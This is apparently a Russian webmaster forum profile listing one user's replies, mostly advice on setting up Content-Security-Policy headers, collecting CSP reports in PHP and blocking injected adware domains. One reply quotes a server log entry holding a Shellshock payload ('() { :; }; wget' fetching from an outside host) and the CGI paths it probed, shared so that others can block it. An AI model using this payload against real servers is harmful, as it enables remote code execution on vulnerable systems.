Ladycharm

Рейтинг
351
Регистрация
07.12.2007
KRyM:
вопрос по теме: какие-то тизерные сети или партнерки сотрудничают с этими "нехорошими людьми"?

Да, сотрудничают. Их доменные имена палятся в java-скриптах.

Некоторые даже сами промышляют такими "плагинами" к браузерам и "левыми" доменами-прокладками.

cscope:
Не будет ли у них претензий, если я поставлю их карты на сайт-справочник с адресами организаций?

Судя по более чем 5-летнему опыту - не будет.

Вы не нарушаете их лицензии на использование Я-карт.

noorma:
Коллеги, подскажите, после добавления кода CSP и его отладки у всех с браузером Сафари все нормально?

У всех - ненормально. Только мужики пока ещё не знают.

Romka_Kharkov:
Меня интересует в первую очередь возможность удаленного использования данной уязвимости, кроме как через apache (cgi) есть возможность им пользоваться

Сегодня в логах сайта обнаружены запросы с IP: 62.210.75.170

GET / HTTP/1.1" 200 31774 "() { :; }; wget http:// creditstat.ru/bnZiLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null" "() { :; }; wget http:// creditstat.ru/bnZiLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null
сканируют морду и url:
/
/cgi-sys/defaultwebpage.cgi
/cgi-sys/entropysearch.cgi
/cgi-mod/index.cgi
/cgi-bin-sdb/printenv

PS: http:// creditstat.ru МНОЙ вставлен пробел, чтобы не делать ссылку на вредителя

Вырезать можно прямо Апачем, регуляркой по SetEnvIfNoCase

worldfoto:
так получается что у дорвеев трафика больше чем у вас?

У дорвеев по определению трафика должно быть больше. Иначе он не окупится за свой короткий срок.

А вот, почему метрика работает на "левом" домене - непонятно.

JesterSoft:
Кто то решил эту проблему:

Да. Или разрешить картинки отовсюду img-src *;(через них редко ломают), или явно указать data: img-src 'self' data:*;

Можете поиграться с CSP online tools, они правильные директивы генерят.

JesterSoft:
Этим скриптом репорты делаете?

Своим, я ещё ЮзерАгента в репорты пишу и Remote IP.

Но фишка - та же: надо лезть через 'php://input', тк имя параметра не присылается - массивы-обёртки php не заполняет.

webliberty:
Да и Директ тоже его использует. Получается что если eval будет разрешен, то скрипт не поможет от того же Magic Player с гобонгой?

Похоже, поможет. Они потом рекламу отдельным скриптом тянут. Но в следующих версиях - могут исправится, почитав этот топик.

Даже с разрешённым eval режет кучу непонятно откуда взявшегося мусора:

http:// cdncache-a.akamaihd.net/i/items/z7b85/js/z7b85.js

http:// p.display-trk.com

http:// www. superfish.com/ws/slideup2/main.js?ver=2014.9.25.NaN.1

http:// www. superfish.com/ws/getSupportedSitesJSON.action?ver=14.08.31.1&callback=SF_isURISupported

http:// c.imrk.net

http:// c.imrk.net/tag/1.js

http:// rjs.mzcdn.com/v3/app.js

http:// rjs.mzcdn.com/v3/loader.js?16340&appid=63&subid=@@@

http:// rjs.mzcdn.com/v3/actions/_adult.js

http:// spk2pk.ru

http:// xlrngostyn.ru

http:// ttz.people-are-thought.info

http:// gamblespot.ru

webliberty:
Ladycharm, скажите пожалуйста, куда это нужно вставлять, используя .htaccess:

Несколько страниц ранее давали код для htaccess(я не пробовала, тк работаю через php):

<ifModule mod_headers.c>
Header set Content-Security-Policy "allow 'self'; img-src * ; script-src AJAX.googleapis.com 'self'; frame-src 'none'; object-src 'none'; report-uri http://ваш_сайт/csp.php"
</IfModule>
webliberty:
И правильно строка написана? Смущает ")

Да, у меня опечатка, ") - лишние, они остались от php-шой функции header("...").

webliberty:
Прошелся по страницам с консолью - ошибок не возникало, но фал репортов все же хочется подключить, потому что мог что либо упустить.

Обязательно подключайте.

Если хотите, могу скинуть вам в личку php-код для приёма таких репортов - он немного "неординарный", тк массивы-обертки $GET_, $_POST и $_FILES - пустые, и json из них не получить.

В репортах есть один идеологический "косяк" - на онлайн-скрипты и на попытку вызова eval() репорт показывает одинаковую и совершенно неинформативную диагностику, не позволяющую найти причину - пустой blocked-uri:

2: blocked-uri =>
2: source-file => http://an.yandex.ru
2: line-number => 1
2: column-number => 21749
2: status-code => 200

Это сильно затрудняет отладку. Видно только, что Директ путался запустить eval() (ибо инлайн-скрипты у меня разрешены в CSP). Но был заблокирован, пока непонятно за что.

webliberty:
PS: кстати, а таким образом никак не заблокировать Adblock? Он же тоже вмешивается в код сайта, блокируя элементы)

Тс-с-с-с...

Думаю, вы правильно думаете :) Но надо проверить.

webliberty:
напишите инструкцию к популярным разрешенным сайтам? ☝

Ну например:
Счетчики Яндекс Метрика, Гугл Аналитика, Рамблер топ, LI
Контекст Директ, Adsense
Виджеты Твиттера, Вконтакте, Facebook

Все делается просто - в CSP штатно предусмотрен отладочный режим

Сначала ставите на сайт CSP-заголовок с добавкой -Report-Only, он включает CSP, но ничего не запрещает, а только шлёт диагностику вам на сервер по указанному в report-uri скрипту:

Content-Security-Policy-Report-Only report-uri http://ваш_сайт/csp.php);

Настраиваете скрипт csp.php на приём json-объектов, которые браузеры будут слать методом POST, см http://www.w3.org/TR/CSP/#report-uri. Их надо писать в "файл репортов".

Далее - прописываете в заголовок CSP желаемые правила и домены "белого списка"(это мой отладочный пример для Я и G карт, метрики и Директа с Адсенсом, инлайн скпипты - разрешены, тк пока не могу быстро убрать их в файл):

Content-Security-Policy-Report-Only script-src 'self' 'unsafe-inline'
http://*.yandex.ru http://yandex.ru http://*.yandex.net mc.yandex.ru, an.yandex.ru
http://*.googleapis.com http://*.gstatic.com http://gstatic.com http://*.yandex.ru http://*.googlesyndication.com;
style-src 'self'
'unsafe-inline'; report-uri http://ваш_сайт/csp.php;

и смотрите, в "файле репортов" что браузеры запретили из того, что надо разрешить. Вносите поправки в свой "белый список".

Если после тестирования пару дней ничего заблокированного из "нужного" в "репортах" не появилось - убираете от CSP-заголовка добавку -Report-Only, и Content Secure Police начинает работать. Репорты в файл будут продолжать писаться, его надо периодически чекать.

PS: Под все браузеры надо давать 3 заголовка "Content-Security-Policy", на PHP это делается так:

< ?php
// Set a sample rule
$csp_rules = "script-src 'self' cdnjs.cloudflare.com; style-src 'self'"; // Ваши правила и белый список доменов

foreach (array("X-WebKit-CSP", "X-Content-Security-Policy", "Content-Security-Policy") as $csp) // Chrome, IE, Mozilla
{
header($csp . ": " . $csp_rules);
}
? >

Неплохо убрать Метрику и коды Директ/адсенс в отдельный js-файл и полключать его через <script src='/metrics.js' type='text/javascript'></script>. Тогда CSP не будет блокировать запускаемое из этого файла.

awasome:
Не забывайте еще про этих товарищей с попапами /ru/forum/841983

Таких "умников" много развелось в последнее время.

Вот только что CSP отловил на сайте "свежачок": fluxx.crazytall.com, с мая 2014 начал "светиться".

Всего: 4257